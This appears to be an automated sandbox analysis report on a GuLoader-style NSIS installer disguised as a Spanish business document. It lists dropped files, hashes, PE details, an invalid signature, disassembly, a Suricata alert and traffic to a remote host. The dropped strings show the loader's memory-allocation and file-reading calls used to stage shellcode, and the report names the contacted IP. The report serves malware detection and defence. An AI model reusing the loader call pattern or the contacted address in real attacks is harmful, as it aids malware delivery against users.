	SecuriteInfo.com.FileRepMalware.18455.13769.exe	Get hash	malicious	GuLoader	Browse
	HSBC Payment Advice.exe	Get hash	malicious	Remcos, GuLoader	Browse
	DHL STATEMENT OF ACCOUNT - 30082024.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable\Godsbanegaardes24.kla

Download File

Process:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
File Type:	data
Category:	dropped
Size (bytes):	277750
Entropy (8bit):	1.2492394418872979
Encrypted:	false
SSDEEP:	768:jHI1HmMsoC8HHL1IR5NgiLi1ki9fQ7rMRxSMNcbwhP6CEPUl3EeKsG1p6lPg0Bk7:TR4HsbMWie2aM0nybFA+GfIe4Z0vH
MD5:	30D59B55CD4CA2ED2E3EBCFCA6038AF6
SHA1:	51001D9D7C7DF81766322C2A9F9138443861AA43
SHA-256:	A8C4799B149C33964562AB690CD78F138C4B6BEC7D717C793C23405C0B40467C
SHA-512:	F16CD06AB6EED55ACD71607F2AA48C346D9473D2FDB1A133BE63EBC1691E5CB60428F31666472A21D89495ABDE7A7E50A04F7197D135FBB65EFB4989ACA6516E
Malicious:	false
Reputation:	low
Preview:	.............).........................................{..............G.........................g........P....n...........................?.................................................................................\.........................F.............i....N.................................................................................................2. ....................m}........................w.....................................m..................C....................................................w............................<.............................'I..............[..............Z....U.......................................................5.Z................y.........X...........................Q..................................."....<.................].............................................................................f...........................c......................................h.............. ........r..............q..............W.........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable\Orrices.Grs

Download File

Process:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
File Type:	data
Category:	dropped
Size (bytes):	454171
Entropy (8bit):	7.060003668301988
Encrypted:	false
SSDEEP:	6144:lYyr+wzZMtTXeNz+AoNhtveHXaewzniZpbOPPEt2MZsOff6fY2GyNfaOg1iZXMuq:/XZguNyAstveHjRpiHaeYlyJgi1J6/wo
MD5:	895B2AA12C62FA49CAFA05FE93FFD114
SHA1:	0BDE9915A3B79D31ABE109F10A166E1C684EED84
SHA-256:	A20EE65D3D538B9C3B635FAA03CB3371D05B553A3E478301713475CF22AC0378
SHA-512:	306D64F380D18B9FA5630622BBFD54320B50C98069789794501CB662CA3D4A30D32591A5E74CE4CC70A4FA207DC2B0A91E03DB545F5D4E4B568F5FBFFC1B6DBE
Malicious:	false
Reputation:	low
Preview:	.....)).........x..{......::......... ........ss.[.\\\............q..............nnn..`..___..............`....................?.............RR..CC...;........XX......CCC.9....................o...........ZZ................/...o............t....................JJ...........DD..............................a................vvvv....5.............$$............[...........=....................''..........................................}.VVV...............x........[[......................~.........*.....LL..............u.............++++.........D...........f........................(.P............s............R.....%..........................y....44444.......................#####...................B.......V..++...v...........].........u.......x......wwww.......uu..................1...........QQQ....iiii....................................JJJJ.......C........kkk.......................PP.................................................../.....................fffff................j............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable\Yaff.Gla

Download File

Process:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
File Type:	data
Category:	dropped
Size (bytes):	76279
Entropy (8bit):	4.566121540339259
Encrypted:	false
SSDEEP:	1536:TepvlSp/JrShEKs/9naZ8CenNTbwU5cZlP:lxubs/FaZRentlcZlP
MD5:	8FE8820A535A35F77BA5E771D1675C1F
SHA1:	0F562B7ABE1C629BFACFE5EF6EE2E7FDF489E6FF
SHA-256:	A6675D13C85BEC9B789AC6BE039186512E135A49796CD1D675C8E57B94AC93BE
SHA-512:	AB9F64FCA4B6FA824522A19158BC761ABC360BC6D5418BB33754A0CA5F3914864D8857F06FA09DD43148F6B851A8020414AEB7EA2EBC2D607FB05E9EFA0EEAAB
Malicious:	false
Reputation:	low
Preview:	.n.......00....#.%.v........,,..........n..........$....U...............................SSS........0........... ....s........888....(................Y......~......._.~~...............???...VV.....`.OOOO..6666.//..............t.~.++............LLL...........................R....hh.....5555.................3.......................(((((......~.,...WWW.................)...$.......................vvv........;...3.....LLL...../...........................................*...&&&&...........FF......^^^...............@........S........ssss..........iii.........^^^^..R.......J.... ................VV.aa.....OOO...........aaa...........^^..................................M.......<<..555555..........JJJ.................z....K....................kkk... ...........b..................\\...............7..............._..........................qqq..........77....44...................D.%.........oo........@................7.........--.................EEE.4..6.8.....A......iii..........0.s...............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable\allehelgensdagenes.txt

Download File

Process:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
File Type:	ASCII text, with very long lines (316), with no line terminators
Category:	dropped
Size (bytes):	316
Entropy (8bit):	4.160293688112871
Encrypted:	false
SSDEEP:	6:25jUkpgCL4f1SJuCDhztPFP1eVVI0UJlAbDFJ0DBrbcs8IA5qGMyf8:QtlVkCD3N1eVVI02lqZJ2Xcs8jq5y0
MD5:	180BC63FD564D436E77F4B1B8D4FA95B
SHA1:	319A735C760816FDA0C4DDDABF317B3901ACAC0C
SHA-256:	EB24E34D8512F264D1481CC0257B953EB7EA59E17E6C2B52C7BA75383AD95702
SHA-512:	93770DBA9CD1E9EC955B49F97453BDF64600CB85545024C0089E00AED774F872A02836D679D0FDF89B51C4EDB582458F2A1F90A60FAC5BF25B6C017A4BE4E9E5
Malicious:	false
Reputation:	low
Preview:	oxygenic sievert cuba haandkbsmedicin skibsprovianteringshandlere glenlike,sercom modkravs skatteprocenter isolator.iranerens resteredes helleristningerne dramadokumentarisk computeranalysens,regnestokkenes delsinds randomization sangbundens.ts lycaenidae rnnebrrets strongarmer ddpunktets.faenomenale kry magnetisr.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable\guimbard.pre

Download File

Process:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
File Type:	GTA audio index data (SDT)
Category:	dropped
Size (bytes):	291815
Entropy (8bit):	1.2503547886635011
Encrypted:	false
SSDEEP:	768:B619gCbp2tU4cdMMk8zW9osMZ0U8yMMFlOHO9GgJ07rMY/E6H4tHVQ/yX1n9/prN:Wh28VOu0gsXwH55/PXeFD0
MD5:	2994541347567C65EEDCFA2029506F84
SHA1:	0B6DC92057E94AFA373637CC924B56965E65E579
SHA-256:	7B670BA87744B976140651094070C279D64EA1F076B675BEB4A5673E76002F97
SHA-512:	F9857303537FFD35695F286D6DF0F08647CCF046153AF5C384E4265B4BE29E69F502A05BF0FDFB39EC5905BFFCB6AD03F864A7183A6451CD4CDB387AB575D4CD
Malicious:	false
Preview:	...........................................................................................................T....................................................................................J.................................................................................I....................................E.......................~.......^.I................................,........................).................o.........F.....U..U..........$...............................(...N..........E............................................../..................................;.h....S.......J...................................d..........?.d....................%....................................... ..d........S................+.....'....l....................i...................'..........................................................n....1...................................e..................z................................................p...........................U.................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable\unministerial.aut

Download File

Process:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
File Type:	FoxPro FPT, blocks size 11776, next free block index 1476395008, field type 0
Category:	dropped
Size (bytes):	344138
Entropy (8bit):	1.2533978536728678
Encrypted:	false
SSDEEP:	768:s3GdopoGgQYbO1t4HeMv0bgZwG+iCwer+phFXlGmeDbyf394AWBfLIbwglGpbQce:+gsweMnSwF739ZEMpEp/G/DLP
MD5:	DDAE8F5FBCC4B5A3D7A7D7E17E6AD7F0
SHA1:	DAB7A3CBBC236820BDFAFDC244FBCB92657B424E
SHA-256:	492E59C5FF7961BCB4E09615632195CA13206538793274D7AED2C07D0EC7C730
SHA-512:	3E0DE00751C9BB0BEEACBCBA9262F6B90261ACAADE205C7797D4BF5E25A030E08D403E48D4DB650724F45DE615E3F2328812D7F211886527B21DB522D6163263
Malicious:	false
Preview:	X.............................................................................................i....................................................................;..........................O......................................................:............................"................/.............................................p.................].................$.........................{....................T......................................$......................................._.................}............................................"....................u.....b.................?........................c................................m..........................<.................^..................o....c........................0............................{..........................................~......>............................................N................................\......................................U......9.........W..m.................h......

C:\Users\user\AppData\Local\Temp\nsa2F28.tmp

Download File

Process:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.0914493934217315
Encrypted:	false
SSDEEP:	3:sBa99k1NoCFOn:KankVg
MD5:	5D04A35D3950677049C7A0CF17E37125
SHA1:	CAFDD49A953864F83D387774B39B2657A253470F
SHA-256:	A9493973DD293917F3EBB932AB255F8CAC40121707548DE100D5969956BB1266
SHA-512:	C7B1AFD95299C0712BDBC67F9D2714926D6EC9F71909AF615AFFC400D8D2216AB76F6AC35057088836435DE36E919507E1B25BE87B07C911083F964EB67E003B
Malicious:	false
Preview:	kernel32::SetFilePointer(i r5, i 1200 , i 0,i 0)i.r3

C:\Users\user\AppData\Local\Temp\nsc266B.tmp

Download File

Process:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
File Type:	data
Category:	dropped
Size (bytes):	1470411
Entropy (8bit):	3.911219342334645
Encrypted:	false
SSDEEP:	12288:oP7kXZguNyAstveHjRpiHaeYlyJgi1J6/whhzFih:MwXK2nstveH9pi6eYlyJd76/whvc
MD5:	2E5093B10CCB033C1AF87EDD700E0D41
SHA1:	52B7DB0120B5B274A38865558CD15AA99D4D6235
SHA-256:	3587329A6C538531E004DCC0385140740460D774EB27C5E5CFEACB6055E3C073
SHA-512:	ACC0DE2519C7F941A32E8C1185258D386157883EDCA39197CB8E9A12D2EED11D5E6749DC0E7426ADB34C0B5EEDED382D1ECC5B250C07F6593AEE43166A026573
Malicious:	false
Preview:	7......,........................ ......V6...... 7..........................o....................G..........m...............................................................................................................................................................................G...f...............j...............................................................................................................................{.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nse2C87.tmp

Download File

Process:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	74
Entropy (8bit):	3.9637832956585757
Encrypted:	false
SSDEEP:	3:sRQE1wFEt/ijNJyI3dj2+n:aQEGiwh3D
MD5:	16D513397F3C1F8334E8F3E4FC49828F
SHA1:	4EE15AFCA81CA6A13AF4E38240099B730D6931F0
SHA-256:	D3C781A1855C8A70F5ACA88D9E2C92AFFFA80541334731F62CAA9494AA8A0C36
SHA-512:	4A350B790FDD2FE957E9AB48D5969B217AB19FC7F93F3774F1121A5F140FF9A9EAAA8FA30E06A9EF40AD776E698C2E65A05323C3ADF84271DA1716E75F5183C3
Malicious:	false
Preview:	kernel32::CreateFileA(m r4 , i 0x80000000, i 0, p 0, i 4, i 0x80, i 0)i.r5

C:\Users\user\AppData\Local\Temp\nsm3276.tmp

Download File

Process:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.313578413943262
Encrypted:	false
SSDEEP:	3:sAAEVvjsLPJ0j84n:fL+q
MD5:	8CCB0932855A1FFE032CEE4D39A97F5C
SHA1:	76131DA7F01EF73DB35B01357E9BD65F018F259D
SHA-256:	7556233F3D86DEAA74A8DB71B44EBC802D4E8B4913E2DBA5A8EFF2DF8EEB3612
SHA-512:	84A4F728719D472F44A29C7BAE197CDCCC40A6A3FA7D4FB46014429B53998E32F60B8CC3DE5932AFF3488AE25BCB9A67E4AF0CCFF478113CE576C9F236844B19
Malicious:	false
Preview:	kernel32::ReadFile(i r5, i r1, i 65441792,*i 0, i 0)i.r3

C:\Users\user\AppData\Local\Temp\nsm33FD.tmp

Download File

Process:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	4.256564762130954
Encrypted:	false
SSDEEP:	3:DyWgLQIfLBJXmgU:mkIP25
MD5:	F15BFDEBB2DF02D02C8491BDE1B4E9BD
SHA1:	93BD46F57C3316C27CAD2605DDF81D6C0BDE9301
SHA-256:	C87F2FF45BB530577FB8856DF1760EDAF1060AE4EE2934B17FDD21B7D116F043
SHA-512:	1757ED4AE4D47D0C839511C18BE5D75796224D4A3049E2D8853650ACE2C5057C42040DE6450BF90DD4969862E9EBB420CD8A34F8DD9C970779ED2E5459E8F2F1
Malicious:	false
Preview:	user32::EnumWindows(i r1 ,i 0)

C:\Users\user\AppData\Local\Temp\nsq30BF.tmp

Download File

Process:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.556297888280895
Encrypted:	false
SSDEEP:	3:sEMBQEJkJVEjQPJ9xQoXUn:x9xvUn
MD5:	5540F2EB7E351633A36A50098BB3AEC7
SHA1:	1C8AB822B73D242AB05789046B631859C6F8DBC7
SHA-256:	EE4FCB5AC33527A7BE215FF98E7B89F000180D5CC319DA66B566999541F3B35C
SHA-512:	34D4226685E9273C5EA0B74058CA644A7FC46FCA115256E3C890BC6CD786C89A7A7DEB4EEC45311FD8C187E469CCD7AC146827CCA80BA46DC19D23C381532003
Malicious:	false
Preview:	kernel32::VirtualAlloc(i 0,i 65441792, i 0x3000, i 0x40)p.r1

C:\Users\user\AppData\Local\Temp\nsz2C67.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.656065698421856
Encrypted:	false
SSDEEP:	192:eY24sihno00Wfl97nH6T2enXwWobpWBTU4VtHT7dmN35Ol+Sl:E8QIl975eXqlWBrz7YLOl+
MD5:	17ED1C86BD67E78ADE4712BE48A7D2BD
SHA1:	1CC9FE86D6D6030B4DAE45ECDDCE5907991C01A0
SHA-256:	BD046E6497B304E4EA4AB102CAB2B1F94CE09BDE0EEBBA4C59942A732679E4EB
SHA-512:	0CBED521E7D6D1F85977B3F7D3CA7AC34E1B5495B69FD8C7BFA1A846BAF53B0ECD06FE1AD02A3599082FFACAF8C71A3BB4E32DEC05F8E24859D736B828092CD5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SecuriteInfo.com.Riskware.Application.5189.31489.exe, Detection: malicious, Browse Filename: INQ No. HDPE-16-GM-00- PI-INQ-300.bat.exe, Detection: malicious, Browse Filename: INQ No. HDPE-16-GM-00- PI-INQ-300.bat.exe, Detection: malicious, Browse Filename: INQ No. HDPE-16-GM-00.bat.exe, Detection: malicious, Browse Filename: INQ No. HDPE-16-GM-00.bat.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.FileRepMalware.18455.13769.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.FileRepMalware.18455.13769.exe, Detection: malicious, Browse Filename: HSBC Payment Advice.exe, Detection: malicious, Browse Filename: DHL STATEMENT OF ACCOUNT - 30082024.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....MX...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..b....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Cretinous\Adjudanter.exe

Download File

Process:	C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	620120
Entropy (8bit):	7.854462833577522
Encrypted:	false
SSDEEP:	12288:LziLE5mL2ElK5ZaogX46imb569QKOI5nETg9V0baQCtxNwho5aMqHF:CwIL2xZaomziC569H/9GajtjL5aMW
MD5:	C6C117C18FEAD29FB0E5393139D0B0F2
SHA1:	73A18E382DE6516DAC2FFB386A7FBCBCD3BB4101
SHA-256:	65A95EBB11D9F2916453CB3C2B7E45B583BA360AF7BFD915547DE103B78CFE5E
SHA-512:	D92B5C3064BF186BF716F154DF5A4C8309D359176A3F5ABDB5BA317F3C6A6811AFE4793349195B9471AF7C176F74AD31835233CA1E18BA883382E820BCF58ACA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1..P...P...P.._...P...P..OP.._...P..s...P...V...P..Rich.P..........PE..L...8.MX.................b...*......J4............@.................................A"....@.........................................................xc...............................................................................................text....a.......b.................. ..`.rdata...............f..............@..@.data...8............z..............@....ndata... ...............................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.854462833577522
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe
File size:	620'120 bytes
MD5:	c6c117c18fead29fb0e5393139d0b0f2
SHA1:	73a18e382de6516dac2ffb386a7fbcbcd3bb4101
SHA256:	65a95ebb11d9f2916453cb3c2b7e45b583ba360af7bfd915547de103b78cfe5e
SHA512:	d92b5c3064bf186bf716f154df5a4c8309d359176a3f5abdb5ba317f3c6a6811afe4793349195b9471af7c176f74ad31835233ca1e18ba883382e820bcf58aca
SSDEEP:	12288:LziLE5mL2ElK5ZaogX46imb569QKOI5nETg9V0baQCtxNwho5aMqHF:CwIL2xZaomziC569H/9GajtjL5aMW
TLSH:	BDD4120BBA1C836ED7A88FB1787983714A59EF571110B5A7FAC4FC1D183024D7D1A2E6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P.._...P...P..OP.._...P...s...P...V...P..Rich.P..........PE..L...8.MX.................b...*......J4............@

File Icon


Icon Hash:	24ed8d96b2ade832

Static PE Info

General

Entrypoint:	0x40344a
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x584DCA38 [Sun Dec 11 21:50:48 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	4ea4df5d94204fc550be1874e1b77ea7

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN="Outguard Investorerne Aljofaina ", O=Idrtsstvner, L=Edge, S=England, C=GB
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	30/07/2024 10:36:23 30/07/2027 10:36:23
Subject Chain	CN="Outguard Investorerne Aljofaina ", O=Idrtsstvner, L=Edge, S=England, C=GB
Version:	3
Thumbprint MD5:	0E8398E740E2EDBD20D0FA14E299A59D
Thumbprint SHA-1:	460E894CF28A243CE9B15B1B2CA56C2CC7813FA7
Thumbprint SHA-256:	DD84949708B928A1FB82EC77622879846B5C48BBF678DC8A8323C87685217C48
Serial:	4BB35FA7D52B3F7A4BDF54AC3352ACC3A7E373A2

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080B4h]
call dword ptr [004080B0h]
cmp ax, 00000006h
je 00007F954CB9F0F3h
push ebx
call 00007F954CBA224Ch
cmp eax, ebx
je 00007F954CB9F0E9h
push 00000C00h
call eax
mov esi, 004082B8h
push esi
call 00007F954CBA21C6h
push esi
call dword ptr [0040815Ch]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F954CB9F0CCh
push ebp
push 00000009h
call 00007F954CBA221Eh
push 00000007h
call 00007F954CBA2217h
mov dword ptr [0042A244h], eax
call dword ptr [0040803Ch]
push ebx
call dword ptr [004082A4h]
mov dword ptr [0042A2F8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h
push 00429240h
call 00007F954CBA1E00h
call dword ptr [004080ACh]
mov ebp, 00435000h
push eax
push ebp
call 00007F954CBA1DEEh
push ebx
call dword ptr [00408174h]
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0xdc18	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x96378	0x12e0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b4	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x61f1	0x6200	2ce901035717865394b5faeda5b43e0f	False	0.6656967474489796	data	6.477074763411717	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x13a4	0x1400	4ac891d4ddf58633f14436f9f80ac6b6	False	0.4529296875	data	5.163001655755973	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20338	0x600	df898dbdc013374b871e011dcd904b20	False	0.501953125	data	3.9745558434885093	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x32000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5d000	0xdc18	0xde00	96b7b1967495a97c0dd3d6a3b7e288df	False	0.0982545045045045	data	3.812879252233152	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x5d1d8	0xd228	Device independent bitmap graphic, 101 x 256 x 32, image size 51712, resolution 9055 x 9055 px/m	English	United States	0.07864312267657993
RT_DIALOG	0x6a400	0x120	data	English	United States	0.5173611111111112
RT_DIALOG	0x6a520	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0x6a640	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x6a6a0	0x14	data	English	United States	1.15
RT_VERSION	0x6a6b8	0x220	data	English	United States	0.5367647058823529
RT_MANIFEST	0x6a8d8	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	SetCurrentDirectoryW, GetFileAttributesW, GetFullPathNameW, Sleep, GetTickCount, CreateFileW, GetFileSize, MoveFileW, SetFileAttributesW, GetModuleFileNameW, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, WaitForSingleObject, GetCurrentProcess, CompareFileTime, GlobalUnlock, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, lstrcpyW, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GlobalFree, GlobalAlloc, GetShortPathNameW, SearchPathW, lstrcmpiW, SetFileTime, CloseHandle, ExpandEnvironmentStringsW, lstrcmpW, GetDiskFreeSpaceW, lstrlenW, lstrcpynW, GetExitCodeProcess, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, lstrlenA, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, IsWindowEnabled, EnableMenuItem, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, wsprintfW, ScreenToClient, GetWindowRect, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, LoadImageW, SetTimer, SetWindowTextW, PostQuitMessage, ShowWindow, GetDlgItem, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, DrawTextW, EndPaint, CreateDialogParamW, SendMessageTimeoutW, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegDeleteKeyW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegOpenKeyExW, RegEnumValueW, RegDeleteValueW, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-12T21:29:58.677580+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49715	107.150.18.109	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 12, 2024 21:29:58.229737043 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:58.453741074 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:58.453918934 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:58.454361916 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:58.677325964 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:58.677340031 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:58.677351952 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:58.677447081 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:58.677580118 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:58.677660942 CEST	49715	80	192.168.11.20	107.150.18.109
Sep 12, 2024 21:29:58.901473045 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:58.901489019 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:58.901499987 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:58.901510954 CEST	80	49715	107.150.18.109	192.168.11.20
Sep 12, 2024 21:29:58.901520967 CEST	80	49715	107.150.18.109	192.168.11.20
